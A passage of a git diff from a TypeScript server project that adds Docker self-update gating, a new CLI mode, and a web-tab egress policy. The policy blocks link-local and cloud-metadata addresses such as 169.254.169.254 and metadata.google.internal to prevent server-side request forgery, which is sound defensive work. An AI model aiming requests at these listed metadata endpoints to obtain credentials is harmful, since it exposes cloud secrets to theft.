grokConfig: GrokConfigSchema, deepSeekConfig: DeepSeekConfigSchema, + ompConfig: OmpConfigSchema, envOverrides: safeEnvOverridesSchema, /** Claude CLI effort level (soft default via --settings, switchable in-session via /effort) */ effort: effortLevelSchema, @@ -1478,7 +1555,7 @@ const noNewlines = (v: string) => !/[\r\n]/.test(v); /** Shared field shape for creating/updating a scheduled job. */ const CronJobBaseSchema = z.object({ name: z.string().min(1).max(200), - agentType: z.enum(['claude', 'shell', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek']), + agentType: sessionModeSchema(), workingDir: safePathSchema, launchCommand: z.string().max(2000).refine(noNewlines, 'launchCommand must be a single line').optional(), promptMode: z.enum(['inline_text', 'prompt_file_path']), @@ -1754,6 +1831,13 @@ const webviewUrlSchema = z .max(2000, 'URL too long (max 2000 chars)') .refine(isValidWebviewUrl, { message: 'Invalid URL: must be http(s), with a hostname and no embedded credentials', + }) + // Egress policy (`webview-egress-policy.ts`): no dashboard lives at a link-local + // or cloud-metadata address, while an IAM credential does. Refused at save time + // for the clear message; the proxy re-judges the RESOLVED address at connect time. + .refine((url) => !isBlockedWebviewUrl(url), { + message: + 'Blocked URL: link-local and cloud-metadata addresses (169.254.0.0/16, metadata.google.internal, ...) cannot be dashboards', }); const WebviewBaseSchema = z.object({ diff --git a/src/web/self-update.ts b/src/web/self-update.ts index 40335cf5..d25ec186 100644 --- a/src/web/self-update.ts +++ b/src/web/self-update.ts @@ -16,6 +16,15 @@ * tested, and IO wrappers (`getInstallInfo`, `checkForUpdate`, `startUpdate`, * `reconcileUpdateOnBoot`) that touch git/network/fs. * + * DOCKER COMPOSE installs update in place too, through the same script and the + * same status file. The repo is a host bind mount, so the pull/build land on the + * host filesystem and survive container recreation; the "restart" is the server + * EXITING so the container's restart policy relaunches it on the new `dist/`. + * That applies CODE only — a restart reuses the existing container's image and + * config — so `evaluateEnvironmentGate()` refuses a release that changes + * `server.Dockerfile`, `docker-compose.yaml` or `.env.example`, pointing at the + * host command instead. See `docs/docker-self-update.md`. + * * Related: `src/types/update.ts`, `scripts/self-update.sh`, routes in * `src/web/routes/system-routes.ts`. * @@ -26,13 +35,15 @@ import { spawn, execFileSync } from 'node:child_process'; import { existsSync, readFileSync, writeFileSync, renameSync, copyFileSync, chmodSync } from 'node:fs'; import { dirname, join } from 'node:path'; import { fileURLToPath } from 'node:url'; -import { homedir, tmpdir } from 'node:os'; -import { randomUUID } from 'node:crypto'; +import { homedir, hostname, tmpdir } from 'node:os'; +import { randomUUID, createHash } from 'node:crypto'; import { createRequire } from 'node:module'; import { dataPath } from '../config/instance.js'; import { LAUNCHD_LABEL, SYSTEMD_UNIT } from '../config/service-names.js'; import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; import type { + EnvironmentBlocker, + EnvironmentGate, InstallInfo, InstallKind, SupervisorKind, @@ -215,6 +226,139 @@ export function reconcileStatusDecision( return null; } +// ───────────────────────────────────────────────────────────────────────────── +// PURE helpers — the container environment gate +// ───────────────────────────────────────────────────────────────────────────── + +/** Host command that resolves every environment blocker. */ +export const DOCKER_HOST_UPDATE_COMMAND = 'docker/Start-Codeman.sh'; + +/** + * Parse the SET keys out of a dotenv file. Commented-out lines are deliberately + * NOT keys: `docker/.env.example` uses `# PUID=1000` to document an OPTIONAL + * override, so treating those as required would block every update on settings + * the user is meant to leave alone. + */ +export function parseEnvKeys(text: string): string[] { + const keys: string[] = []; + for (const raw of text.split(/\r?\n/)) { + const line = raw.trim(); + if (!line || line.startsWith('#')) continue; + const m = line.replace(/^export\s+/, '').match(/^([A-Za-z_][A-Za-z0-9_]*)\s*=/); + if (m && !keys.includes(m[1])) keys.push(m[1]); + } + return keys; +} + +/** + * Keys the TARGET release's `.env.example` sets that the user's `.env` does not. + * + * This is the check that makes a new required setting visible: Compose resolves + * an unset `${VAR}` to the empty string and starts anyway, so a missing key is + * otherwise silent until something misbehaves at runtime. + */ +export function diffRequiredEnvKeys(targetExample: string, userEnv: string): string[] { + const have = new Set(parseEnvKeys(userEnv)); + return parseEnvKeys(targetExample).filter((k) => !have.has(k)); +} + +/** + * True when the container's restart policy relaunches it after the server exits. + * `no` and an empty policy mean an in-place update would take Codeman DOWN + * rather than restart it, so the update is refused instead. + */ +export function isAutoRestartPolicy(name: string | null | undefined): boolean { + return name === 'always' || name === 'unless-stopped' || name === 'on-failure'; +} + +/** + * PURE: may the container updater restart the server by exiting? Yes when the + * Compose file declared it (`CODEMAN_RESTART_BY_EXIT=1`, set only there, since + * that file is what sets `restart: unless-stopped`) or when the daemon reports an + * auto-restart policy. Otherwise the answer is NO, and the updater stages the + * build and asks for a manual restart instead of exiting: an unknown policy is + * fine to fail open in the GATE (refusing would block installs with no socket), + * but the kill itself must not fail open, or a container the daemon would not + * bring back goes down with no UI left to recover it from. + */ +export function shouldRestartByExit(declared: boolean, restartPolicy: string | null): boolean { + return declared || isAutoRestartPolicy(restartPolicy); +} + +/** The Compose file's declaration that exiting relaunches this container. */ +export function restartByExitDeclared(): boolean { + return process.env.CODEMAN_RESTART_BY_EXIT === '1'; +} + +export interface EnvironmentGateInput { + /** sha256 of `docker/server.Dockerfile` the running container was built from. */ + appliedDockerfileHash: string | null; + /** sha256 of `docker/server.Dockerfile` at the target release tag. */ + targetDockerfileHash: string | null; + /** sha256 of `docker/docker-compose.yaml` the running container was created from. */ + appliedComposeHash: string | null; + /** sha256 of `docker/docker-compose.yaml` at the target release tag. */ + targetComposeHash: string | null; + /** Keys from `diffRequiredEnvKeys()`. */ + missingEnvKeys: string[]; + /** Docker restart policy name of the running container, or null if unknown. */ + restartPolicy: string | null; +} + +/** + * PURE gate decision. An in-place container update applies CODE only: the server + * exits and the container's restart policy relaunches it on the new `dist/`. A + * restart reuses the existing container's image and config, so anything that + * changes the ENVIRONMENT cannot take effect that way and is refused here with + * the host command that can apply it. + * + * ⚠️ An unknown hash (null) is NOT treated as "changed": a first update from a + * container created before the fingerprint file existed has no baseline, and + * failing closed there would block every such install from ever updating. The + * baseline is written by `Start-Codeman.sh`, so it exists from the first + * host-side start onward. An unknown restart policy is likewise not a blocker — + * the shipped Compose file sets `unless-stopped`, and the probe needs the Docker + * socket, which a user may not have mounted. + */ +export function computeEnvironmentBlockers(input: EnvironmentGateInput): EnvironmentBlocker[] { + const blockers: EnvironmentBlocker[] = []; + + if ( + input.appliedDockerfileHash && + input.targetDockerfileHash && + input.appliedDockerfileHash !== input.targetDockerfileHash + ) { + blockers.push({ + kind: 'dockerfile-changed', + message: 'This release changes docker/server.Dockerfile, so the image must be rebuilt.', + }); + } + + if (input.appliedComposeHash && input.targetComposeHash && input.appliedComposeHash !== input.targetComposeHash) { + blockers.push({ + kind: 'compose-changed', + message: 'This release changes docker/docker-compose.yaml, so the container must be recreated.', + }); + } + + if (input.missingEnvKeys.length > 0) { + blockers.push({ + kind: 'env-keys-missing', + message: `This release adds ${input.missingEnvKeys.length} setting(s) your docker/.env has no value for.`, + details: input.missingEnvKeys, + }); + } + + if (input.restartPolicy !== null && !isAutoRestartPolicy(input.restartPolicy)) { + blockers.push({ + kind: 'no-auto-restart', + message: `This container's restart policy is "${input.restartPolicy}", so it would not come back after the update.`, + }); + } + + return blockers; +} + // ───────────────────────────────────────────────────────────────────────────── // Status file IO // ───────────────────────────────────────────────────────────────────────────── @@ -273,19 +417,149 @@ export function resolveInstallDir(): string { return process.cwd(); } +/** + * True when this process runs inside a container. `/.dockerenv` is created by the + * Docker daemon itself; the env var is set by our own Compose file so the check + * also holds under runtimes that omit that file. + */ +export function isRunningInContainer(): boolean { + return process.env.CODEMAN_IN_CONTAINER === '1' || existsSync('/.dockerenv'); +} + function detectInstallKind(dir: string): InstallKind { - if (existsSync(join(dir, '.git'))) return 'git'; + // A container whose code is a bind-mounted checkout updates in place (the pull + // and build land on the host filesystem and survive container recreation). A + // container WITHOUT that mount runs a baked image copy — a pull there would go + // to the writable layer and vanish on the next `up`, so it is not updatable. + if (existsSync(join(dir, '.git'))) return isRunningInContainer() ? 'docker-compose' : 'git'; // Global npm install ships only dist/ (no src/, no .git). if (!existsSync(join(dir, 'src'))) return 'npm'; return 'unknown'; } +/** Install kinds whose update is applied in place by `scripts/self-update.sh`. */ +export function canSelfUpdateInPlace(kind: InstallKind): boolean { + return kind === 'git' || kind === 'docker-compose'; +} + +/** Path of the fingerprint baseline written by `docker/Start-Codeman.sh`. */ +const DOCKER_ENV_APPLIED_FILE = dataPath('docker-env-applied.json'); + +/** Files whose content defines the container ENVIRONMENT (vs. the app's code). */ +const DOCKERFILE_REL = 'docker/server.Dockerfile'; +const COMPOSE_REL = 'docker/docker-compose.yaml'; +const ENV_EXAMPLE_REL = 'docker/.env.example'; +const ENV_REL = 'docker/.env'; + +function sha256(text: string): string { + return createHash('sha256').update(text, 'utf-8').digest('hex'); +} + +/** Read a file at a git TAG without checking it out (`git show tag:path`). */ +function gitShowAtTag(repo: string, tag: string, relPath: string): string | null { + return tryExec('git', ['show', `${tag}:${relPath}`], repo); +} + +function readFileOrNull(path: string): string | null { + try { + return readFileSync(path, 'utf-8'); + } catch { + return null; + } +} + +/** + * The fingerprints the RUNNING container was created from, recorded on the host + * by `Start-Codeman.sh` at each build/recreate. Returns nulls when absent (a + * container started before this file existed) — `computeEnvironmentBlockers()` + * deliberately treats an unknown baseline as "not a blocker". + */ +function readAppliedEnvironmentFingerprints(): { dockerfile: string | null; compose: string | null } { + const raw = readFileOrNull(DOCKER_ENV_APPLIED_FILE); + if (!raw) return { dockerfile: null, compose: null }; + try { + const parsed = JSON.parse(raw) as { dockerfileSha256?: string; composeSha256?: string }; + return { dockerfile: parsed.dockerfileSha256 ?? null, compose: parsed.composeSha256 ?? null }; + } catch { + return { dockerfile: null, compose: null }; + } +} + +/** + * Restart policy of the container we're running in, via the mounted Docker + * socket. Returns null when the socket or CLI is unavailable — an unknown policy + * is not a blocker (see `computeEnvironmentBlockers`). + */ +function detectOwnRestartPolicy(): string | null { + // Docker sets HOSTNAME to the short container id; os.hostname() is the same + // value when the env var is absent. A custom `hostname:` in the compose file + // makes both unresolvable to the daemon, which fails open (unknown is not a + // blocker) rather than refusing an update over a cosmetic setting. + const id = process.env.HOSTNAME || hostname(); + if (!id) return null; + const out = tryExec('docker', ['inspect', '--format', '{{.HostConfig.RestartPolicy.Name}}', id]); + return out && out.length > 0 ? out : null; +} + +/** + * Evaluate the environment gate for a candidate release tag. Reads the TARGET + * tag's files straight out of git (`git show`), so nothing is checked out and the + * answer is available at CHECK time — the UI can refuse before the user commits + * to an update. + */ +export function evaluateEnvironmentGate(installDir: string, tag: string): EnvironmentGate { + // `git show :` needs the tag's objects locally, and neither the + // GitHub API nor `ls-remote` fetches anything — so a check that has never seen + // this tag would read nothing and report a falsely clean gate. Fetch the one + // ref first (cheap: it deltas against what the clone already has) and only + // then read. The updater fetches the same ref again; both are idempotent. + if (tryExec('git', ['rev-parse', '--verify', '--quiet', `${tag}^{commit}`], installDir) === null) { + tryExec( + 'git', + ['fetch', '--tags', '--force', 'origin', `refs/tags/${tag}:refs/tags/${tag}`], + installDir, + CHECK_TIMEOUT_MS + ); + } + + const targetDockerfile = gitShowAtTag(installDir, tag, DOCKERFILE_REL); + const targetCompose = gitShowAtTag(installDir, tag, COMPOSE_REL); + const targetExample = gitShowAtTag(installDir, tag, ENV_EXAMPLE_REL); + + // No environment files at the target tag at all: we cannot judge, so say so + // rather than reporting a clean gate the caller would trust. + if (targetDockerfile === null && targetCompose === null && targetExample === null) { + return { checked: false, blockers: [], hostCommand: DOCKER_HOST_UPDATE_COMMAND }; + } + + const applied = readAppliedEnvironmentFingerprints(); + const userEnv = readFileOrNull(join(installDir, ENV_REL)); + + const blockers = computeEnvironmentBlockers({ + appliedDockerfileHash: applied.dockerfile, + targetDockerfileHash: targetDockerfile === null ? null : sha256(targetDockerfile), + appliedComposeHash: applied.compose, + targetComposeHash: targetCompose === null ? null : sha256(targetCompose), + // A missing/unreadable .env cannot be diffed — report no missing keys rather + // than every key, which would block on an install using a non-standard path. + missingEnvKeys: targetExample !== null && userEnv !== null ? diffRequiredEnvKeys(targetExample, userEnv) : [], + restartPolicy: detectOwnRestartPolicy(), + }); + + return { checked: true, blockers, hostCommand: DOCKER_HOST_UPDATE_COMMAND }; +} + /** * Detect which init system supervises us. Detection happens HERE (in the running * server, which has a rich env) and the result is passed to the updater script — * the detached child must not re-probe with a stripped-down environment. */ export function detectSupervisor(): SupervisorKind { + // Checked FIRST: a container has no init system of its own, and its "restart" + // is the server exiting so the Docker restart policy relaunches it. Probing + // systemd here would find nothing and report `none`, which stages the update + // and then asks the user to restart by hand for no reason. + if (isRunningInContainer()) return 'docker-compose'; if (process.platform === 'darwin') { if (existsSync(join(homedir(), 'Library', 'LaunchAgents', `${LAUNCHD_LABEL}.plist`))) return 'launchd'; // Headless Macs (no GUI login → no gui domain) run Codeman as a system-level @@ -389,17 +663,29 @@ export async function checkForUpdate(): Promise { checkedAt, source: 'none', }; - if (info.installKind !== 'git') { - return { ...base, error: 'Not a git install — self-update is unavailable.' }; + if (!canSelfUpdateInPlace(info.installKind)) { + return { + ...base, + error: + info.installKind === 'unknown' && isRunningInContainer() + ? 'This container runs a baked image copy with no repository mounted — self-update is unavailable. See docs/docker-self-update.md.' + : 'Not a git install — self-update is unavailable.', + }; } + /** Attach the container environment gate to a finished check result. */ + const withGate = (result: UpdateCheckResult): UpdateCheckResult => { + if (info.installKind !== 'docker-compose' || !result.latestTag || !result.updateAvailable) return result; + return { ...result, environment: evaluateEnvironmentGate(info.installDir, result.latestTag) }; + }; + const remote = tryExec('git', ['remote', 'get-url', 'origin'], info.installDir); const gh = remote ? parseGitHubRepo(remote) : null; if (gh) { const rel = await fetchLatestReleaseFromGitHub(gh.owner, gh.repo); if (rel) { - return { + return withGate({ ...base, latestVersion: rel.version, latestTag: rel.tag, @@ -407,20 +693,20 @@ export async function checkForUpdate(): Promise { htmlUrl: rel.htmlUrl, updateAvailable: isNewerStableVersion(info.currentVersion, rel.version), source: 'github-api', - }; + }); } } // Fallback: enumerate remote tags directly (works for non-GitHub remotes too). const viaGit = fetchLatestTagViaGit(info.installDir); if (viaGit) { - return { + return withGate({ ...base, latestVersion: viaGit.version, latestTag: viaGit.tag, updateAvailable: isNewerStableVersion(info.currentVersion, viaGit.version), source: 'git-ls-remote', - }; + }); } return { ...base, error: 'Could not reach the update server (GitHub API + git ls-remote both failed).' }; @@ -432,7 +718,11 @@ export async function checkForUpdate(): Promise { export type StartUpdateResult = | { ok: true; updateId: string; toTag: string; toVersion: string | null } - | { ok: false; code: 'disabled' | 'not-git' | 'in-flight' | 'up-to-date' | 'bad-tag' | 'error'; message: string }; + | { + ok: false; + code: 'disabled' | 'not-git' | 'in-flight' | 'up-to-date' | 'bad-tag' | 'env-blocked' | 'error'; + message: string; + }; /** * Copy the updater script OUT of the repo before running it. The script lives in @@ -497,11 +787,13 @@ export async function startUpdate(): Promise { if (!info.selfUpdateEnabled) { return { ok: false, code: 'disabled', message: 'Self-update is disabled (CODEMAN_DISABLE_SELF_UPDATE=1).' }; } - if (info.installKind !== 'git') { + if (!canSelfUpdateInPlace(info.installKind)) { return { ok: false, code: 'not-git', - message: 'This is not a git install. Update with: npm i -g aicodeman@latest', + message: isRunningInContainer() + ? 'This container has no repository mounted. Update from the host with docker/Start-Codeman.sh.' + : 'This is not a git install. Update with: npm i -g aicodeman@latest', }; } const existing = readUpdateStatus(); @@ -517,6 +809,20 @@ export async function startUpdate(): Promise { return { ok: false, code: 'bad-tag', message: `Refusing to update to an unrecognized tag: ${check.latestTag}` }; } + // Re-evaluate rather than trusting the check the browser saw: the UI hides the + // button when the gate blocks, but the endpoint is reachable directly and the + // release could have moved between the check and the click. + if (info.installKind === 'docker-compose') { + const gate = evaluateEnvironmentGate(info.installDir, check.latestTag); + if (gate.blockers.length > 0) { + return { + ok: false, + code: 'env-blocked', + message: `${gate.blockers.map((b) => b.message).join(' ')} Run ${gate.hostCommand} on the Docker host to apply this release.`, + }; + } + } + const prevSha = tryExec('git', ['rev-parse', 'HEAD'], info.installDir); const runner = stageRunner(info.installDir); if (!runner) { @@ -558,11 +864,18 @@ export async function startUpdate(): Promise { process.execPath, '--log', logFile, - // For the launchd-daemon restart path: the updater kills this PID and the - // KeepAlive daemon respawns the server on the freshly built dist/. + // For the launchd-daemon and docker-compose restart paths: the updater kills + // this PID and the supervisor (KeepAlive daemon / Docker restart policy) + // respawns the server on the freshly built dist/. '--server-pid', String(process.pid), ]; + if (info.supervisor === 'docker-compose') { + // Decided HERE, where the Docker socket and the Compose env are reachable; + // the updater only reads the answer. Without a yes it never exits the server. + const byExit = shouldRestartByExit(restartByExitDeclared(), detectOwnRestartPolicy()); + args.push('--restart-by-exit', byExit ? '1' : '0'); + } if (prevSha) args.push('--prev-sha', prevSha); if (info.dirty) args.push('--stash'); diff --git a/src/web/server.ts b/src/web/server.ts index 8ef0b24a..0cf318d6 100644 --- a/src/web/server.ts +++ b/src/web/server.ts @@ -1446,6 +1446,7 @@ export class WebServer extends EventEmitter { { isPiAvailable }, { isGrokAvailable }, { isDeepSeekRunnable, isDeepSeekAvailable }, + { isOmpAvailable }, { isCloudflaredAvailable }, { isGitAvailable }, ] = await Promise.all([ @@ -1457,6 +1458,7 @@ export class WebServer extends EventEmitter { import('../utils/pi-cli-resolver.js'), import('../utils/grok-cli-resolver.js'), import('../utils/deepseek-cli-resolver.js'), + import('../utils/omp-cli-resolver.js'), import('../utils/cloudflared-resolver.js'), import('../git-clone.js'), ]); @@ -1475,6 +1477,7 @@ export class WebServer extends EventEmitter { // profile is offered the fix rather than a greyed-out entry. deepseek: isDeepSeekRunnable(), deepseekBinary: isDeepSeekAvailable(), + omp: isOmpAvailable(), cloudflared: isCloudflaredAvailable(), // Not a run mode: the Add Case → Clone tab is an offer this box cannot // keep without git (issue #236), same reasoning as cloudflared above. @@ -2783,6 +2786,7 @@ export class WebServer extends EventEmitter { piConfig: muxSession.mode === 'pi' ? savedState?.piConfig : undefined, grokConfig: muxSession.mode === 'grok' ? savedState?.grokConfig : undefined, deepSeekConfig: muxSession.mode === 'deepseek' ? savedState?.deepSeekConfig : undefined, + ompConfig: muxSession.mode === 'omp' ? savedState?.ompConfig : undefined, envOverrides: savedEnvOverrides, effort: savedState?.effort, attachmentHistory: savedAttachmentHistory, diff --git a/src/web/session-wait-registry.ts b/src/web/session-wait-registry.ts index 0592d952..e734927d 100644 --- a/src/web/session-wait-registry.ts +++ b/src/web/session-wait-registry.ts @@ -65,6 +65,7 @@ import { MAX_SNIPPET_CONTEXT, } from '../config/agent-wait.js'; import type { SessionMode, SessionStatus } from '../types.js'; +import { getCli } from '../config/cli-registry/registry.js'; // ─── Signals ───────────────────────────────────────────────────────────────── @@ -174,7 +175,7 @@ const HOOK_ONLY_SIGNALS: readonly WaitSignal[] = ['stop', 'blocked']; export interface HookCapabilityOptions { /** * `deepSeekConfig.statusReporting`, verbatim (so `undefined` means "not sent", - * i.e. ON). `false` is the per-session opt-out that stops `_configureDeepSeek()` + * i.e. ON). `false` is the per-session opt-out that stops `_configureCliEnv()` * exporting the `HERDR_*` triple, which is the ONLY thing that makes a dsh * session emit hook events at all. */ @@ -223,18 +224,26 @@ export interface HookCapabilityOptions { * function only about hook SIGNALS. */ export function hooksAvailableForMode(mode: SessionMode, options: HookCapabilityOptions = {}): boolean { - if (mode === 'claude') return true; - // `deepseek` earns this the same way `claude` does — by emitting DEFINITIVE - // signals rather than having them inferred. The DeepSeek Harness terminal - // front door reports idle/working/blocked to its supervisor, and Codeman is - // that supervisor (see deepseek-status-shim.ts), so a dsh session really can - // deliver `stop` and `blocked` — unless the user turned the bridge off, in - // which case nothing on the box will ever post one. Every other mode is - // output-stabilization guesswork and must keep failing the ask. - if (mode === 'deepseek') { - return options.deepSeekStatusReporting !== false && options.deepSeekBridgeUnreachable !== true; + // A TRI-state capability, not a boolean, because the three answers are genuinely + // different questions — see CliCapabilities.hooks. + switch (getCli(mode)?.capabilities.hooks) { + case 'always': + // The CLI installs Codeman's own hooks block into its workspace (claude), so the + // signals are unconditional. + return true; + case 'supervised': + // The CLI REPORTS its own state to a supervisor and Codeman is that supervisor + // (deepseek, via deepseek-status-shim.ts) — definitive signals rather than inferred + // ones, which is what earns it a yes. But the user can disarm the bridge, and a + // docker/remote session cannot reach it at all; in either case nothing on the box + // will ever post one, so the answer has to come from the SESSION, not the mode. + return options.deepSeekStatusReporting !== false && options.deepSeekBridgeUnreachable !== true; + default: + // 'none', and an unregistered mode. Every other CLI's idle is output-stabilization + // guesswork, and must keep failing the ask rather than promising a signal that never + // arrives. + return false; } - return false; } /** diff --git a/src/web/webview-egress-policy.ts b/src/web/webview-egress-policy.ts new file mode 100644 index 00000000..6ed7d07d --- /dev/null +++ b/src/web/webview-egress-policy.ts @@ -0,0 +1,162 @@ +/** + * @fileoverview Egress policy for the web-tab proxy: which upstream ADDRESSES + * a saved dashboard URL may never resolve to. + * + * Pure (no IO), so the same predicate serves three call sites that see the target + * at different stages: the Zod schema (a URL being saved), the sync check on a + * hostname that is already an IP literal (Node's `net.connect` skips DNS for + * those, so a lookup hook never sees them), and the DNS lookup hook that judges + * the RESOLVED addresses of a name (`webview-egress.ts`), which is what closes + * the rebinding hole a hostname-string check alone leaves open. + * + * What is blocked, and only this: link-local ranges and the fixed cloud-metadata + * addresses that live there or beside them. Loopback and RFC1918 are deliberately + * ALLOWED: a `localhost` Grafana or a LAN Home Assistant is the documented use + * case for web tabs (`docs/web-tabs.md`), and the proxy's reach into the server's + * own network is a documented property, not a bug. Nothing a person would + * embed as a dashboard lives at 169.254.169.254, while an IAM credential does. + */ + +import { isIP } from 'node:net'; + +/** + * Hostnames that are metadata-service aliases on the clouds that define them. + * Belt and braces: each also RESOLVES to a blocked address, which the lookup hook + * catches, but naming them here gives the user a clear refusal at save time + * instead of a DNS-shaped failure at open time. + */ +const BLOCKED_HOSTNAMES = new Set([ + 'metadata.google.internal', // GCP + 'metadata', // GCP short alias (resolves on every GCE VM) + 'instance-data', // AWS legacy IMDS alias +]); + +/** Fixed single-address metadata endpoints outside the link-local range. */ +const BLOCKED_IPV4_HOSTS = new Set([ + '168.63.129.16', // Azure WireServer (IMDS helper, DHCP/heartbeat endpoint) + '100.100.100.200', // Alibaba Cloud metadata +]); + +function parseIpv4(host: string): [number, number, number, number] | null { + const parts = host.split('.'); + if (parts.length !== 4) return null; + const nums = parts.map((p) => (/^\d{1,3}$/.test(p) ? Number(p) : NaN)); + if (nums.some((n) => Number.isNaN(n) || n > 255)) return null; + return nums as [number, number, number, number]; +} + +function isBlockedIpv4(host: string): boolean { + const octets = parseIpv4(host); + if (!octets) return false; + const [a, b] = octets; + if (a === 169 && b === 254) return true; // 169.254.0.0/16 link-local, incl. 169.254.169.254 (AWS/Azure/GCP/OpenStack/Oracle/DO) + return BLOCKED_IPV4_HOSTS.has(octets.join('.')); +} + +/** + * Expand an IPv6 literal into its eight 16-bit groups. Accepts the compressed + * forms `URL.hostname` and DNS produce (`::1`, `::ffff:7f00:1`, `fd00:ec2::254`) + * plus a dotted IPv4 tail (`::ffff:127.0.0.1`). Returns null for anything it + * cannot parse, and the caller treats null as "not blocked" because every caller + * gates on `isIP()` first, so null only ever means a zone id or a form Node itself + * would refuse to connect to. + */ +function expandIpv6(raw: string): number[] | null { + let text = raw.toLowerCase(); + const zone = text.indexOf('%'); + if (zone !== -1) text = text.slice(0, zone); + + const lastColon = text.lastIndexOf(':'); + const tail = text.slice(lastColon + 1); + if (tail.includes('.')) { + const v4 = parseIpv4(tail); + if (!v4) return null; + const hi = ((v4[0] << 8) | v4[1]).toString(16); + const lo = ((v4[2] << 8) | v4[3]).toString(16); + text = `${text.slice(0, lastColon + 1)}${hi}:${lo}`; + } + + const halves = text.split('::'); + if (halves.length > 2) return null; + const head = halves[0] === '' ? [] : halves[0].split(':'); + const rest = halves.length === 2 && halves[1] !== '' ? halves[1].split(':') : []; + const missing = 8 - head.length - rest.length; + if (halves.length === 2 ? missing < 1 : missing !== 0) return null; + const groups = halves.length === 2 ? [...head, ...new Array(missing).fill('0'), ...rest] : head; + if (groups.length !== 8) return null; + const out = groups.map((g) => (/^[0-9a-f]{1,4}$/.test(g) ? parseInt(g, 16) : NaN)); + return out.some((n) => Number.isNaN(n)) ? null : out; +} + +function isBlockedIpv6(host: string): boolean { + const groups = expandIpv6(host); + if (!groups) return false; + // fe80::/10 link-local. + if ((groups[0] & 0xffc0) === 0xfe80) return true; + // fd00:ec2::254, the AWS IMDS IPv6 endpoint. + if ( + groups[0] === 0xfd00 && + groups[1] === 0x0ec2 && + groups[2] === 0 && + groups[3] === 0 && + groups[4] === 0 && + groups[5] === 0 && + groups[6] === 0 && + groups[7] === 0x0254 + ) { + return true; + } + // IPv4-mapped (::ffff:a.b.c.d): judge the embedded IPv4. + if ( + groups[0] === 0 && + groups[1] === 0 && + groups[2] === 0 && + groups[3] === 0 && + groups[4] === 0 && + groups[5] === 0xffff + ) { + const v4 = `${groups[6] >> 8}.${groups[6] & 0xff}.${groups[7] >> 8}.${groups[7] & 0xff}`; + return isBlockedIpv4(v4); + } + return false; +} + +/** + * True when `address` (an IP literal, bracket-free) is one the proxy must never + * connect to. Non-IP input is never blocked here: names are judged by + * `isBlockedWebviewHostname()` at save time and by their resolved addresses at + * connect time. + */ +export function isBlockedEgressAddress(address: string): boolean { + const kind = isIP(address); + if (kind === 4) return isBlockedIpv4(address); + if (kind === 6) return isBlockedIpv6(address); + return false; +} + +/** + * Judge a URL hostname as `URL.hostname` hands it over: IPv6 literals arrive in + * brackets, names may carry a trailing dot, and case is irrelevant. + * + * @returns a short human-readable reason when blocked, null when allowed. + */ +export function blockedWebviewHostReason(hostname: string): string | null { + const host = hostname + .replace(/^\[|\]$/g, '') + .replace(/\.$/, '') + .toLowerCase(); + if (isBlockedEgressAddress(host)) return `${host} is a link-local or cloud-metadata address`; + if (BLOCKED_HOSTNAMES.has(host)) return `${host} is a cloud-metadata hostname`; + return null; +} + +/** Schema-friendly boolean form of `blockedWebviewHostReason()` over a raw URL string. */ +export function isBlockedWebviewUrl(raw: string): boolean { + let url: URL; + try { + url = new URL(raw.trim()); + } catch { + return false; // not this predicate's job; the URL shape check rejects it + } + return blockedWebviewHostReason(url.hostname) !== null; +} diff --git a/src/web/webview-egress.ts b/src/web/webview-egress.ts new file mode 100644 index 00000000..8c7e70cc --- /dev/null +++ b/src/web/webview-egress.ts @@ -0,0 +1,146 @@ +/** + * @fileoverview Guarded egress for the web-tab proxy: the IO half of the policy in + * `webview-egress-policy.ts`. + * + * Three outbound paths exist for a saved dashboard URL (the "Test" probe, the + * HTTP proxy, the WebSocket relay), and all three must judge the RESOLVED address + * rather than the hostname string, or a name pointing at 169.254.169.254 (an + * attacker's own DNS, or `metadata.google.internal` on GCP) walks straight past + * a literal-only check. So: + * + * - `createEgressLookup()` is a `net.connect`-shaped `lookup` that resolves with + * `all: true` and refuses when ANY returned address is blocked (Happy Eyeballs + * may otherwise pick the one we did not inspect). + * - `webviewFetch()` runs undici's own `fetch` through an `Agent` whose connector + * uses that lookup. undici's fetch rather than Node's global one, and undici's + * Agent rather than a dispatcher handed to the global fetch, so the two are + * always the same undici version: Node bundles its own copy, and a mismatched + * dispatch protocol between the two fails in ways no test here would catch. + * - The WebSocket relay passes the same lookup to `ws`, which forwards it to + * `http.request`. + * + * ⚠️ A lookup hook never sees an IP LITERAL: Node's `net.connect` skips DNS for + * those. Every caller therefore runs `blockedWebviewHostReason()` on the URL's + * hostname synchronously BEFORE connecting, and `webviewFetch()` does it for its + * own callers. Neither half is redundant. + */ + +import { promises as dns, type LookupAddress, type LookupOptions } from 'node:dns'; +import type { LookupFunction } from 'node:net'; +import { Agent, fetch as undiciFetch, type RequestInit, type Response } from 'undici'; +import { blockedWebviewHostReason, isBlockedEgressAddress } from './webview-egress-policy.js'; + +export const EGRESS_BLOCKED_CODE = 'CODEMAN_EGRESS_BLOCKED'; + +/** Thrown (or delivered as the lookup error) when a target resolves into a blocked range. */ +export class WebviewEgressBlockedError extends Error { + readonly code = EGRESS_BLOCKED_CODE; + constructor(reason: string) { + super(`Blocked: ${reason}; the web-tab proxy never relays to link-local or cloud-metadata addresses`); + this.name = 'WebviewEgressBlockedError'; + } +} + +/** + * The refusal message when `err`, or anything in its `cause` chain, is an egress + * refusal; null otherwise. undici's fetch wraps a connect failure as + * `TypeError('fetch failed', { cause })`, so the interesting error is one level + * down, and callers want ITS message, not "fetch failed". + */ +export function egressBlockedReason(err: unknown): string | null { + let current: unknown = err; + for (let depth = 0; depth < 8 && current && typeof current === 'object'; depth++) { + const candidate = current as { code?: unknown; message?: unknown; cause?: unknown }; + if (candidate.code === EGRESS_BLOCKED_CODE) { + return typeof candidate.message === 'string' ? candidate.message : 'Blocked by egress policy'; + } + current = candidate.cause; + } + return null; +} + +/** Boolean form of `egressBlockedReason()`. */ +export function isEgressBlockedError(err: unknown): boolean { + return egressBlockedReason(err) !== null; +} + +/** `net.connect`'s `lookup` signature, which undici's connector and `ws` both forward to it. */ +export type EgressLookup = LookupFunction; + +/** Resolver seam for tests: what the lookup consults for a name's addresses. */ +export type ResolveAll = (hostname: string, options: LookupOptions) => Promise; + +const defaultResolveAll: ResolveAll = (hostname, options) => { + const family = typeof options.family === 'string' ? Number(options.family.replace(/^IPv/i, '')) : options.family; + return dns.lookup(hostname, { + ...(family === 4 || family === 6 ? { family } : {}), + ...(options.hints !== undefined ? { hints: options.hints } : {}), + all: true, + }); +}; + +/** + * Build a `lookup` for `net.connect` / undici's connector / `ws` that refuses + * blocked resolved addresses. Every address is inspected, not just the first: + * with 